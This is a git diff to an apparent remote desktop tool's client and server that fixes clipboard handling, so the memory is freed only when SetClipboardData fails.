diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 94e2fbd..e059a69 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -185,8 +185,8 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength) return; memcpy(szClipboardVirtualAddress, szBuffer, ulLength); GlobalUnlock(hGlobal); - SetClipboardData(CF_TEXT, hGlobal); - GlobalFree(hGlobal); + if(NULL==SetClipboardData(CF_TEXT, hGlobal)) + GlobalFree(hGlobal); } CloseClipboard(); } diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 5283123..3d69e1e 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -497,8 +497,8 @@ VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength) char* szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); memcpy(szClipboardVirtualAddress,szBuffer,ulLength); GlobalUnlock(hGlobal); - SetClipboardData(CF_TEXT, hGlobal); - GlobalFree(hGlobal); + if(NULL==SetClipboardData(CF_TEXT, hGlobal)) + GlobalFree(hGlobal); } CloseClipboard(); }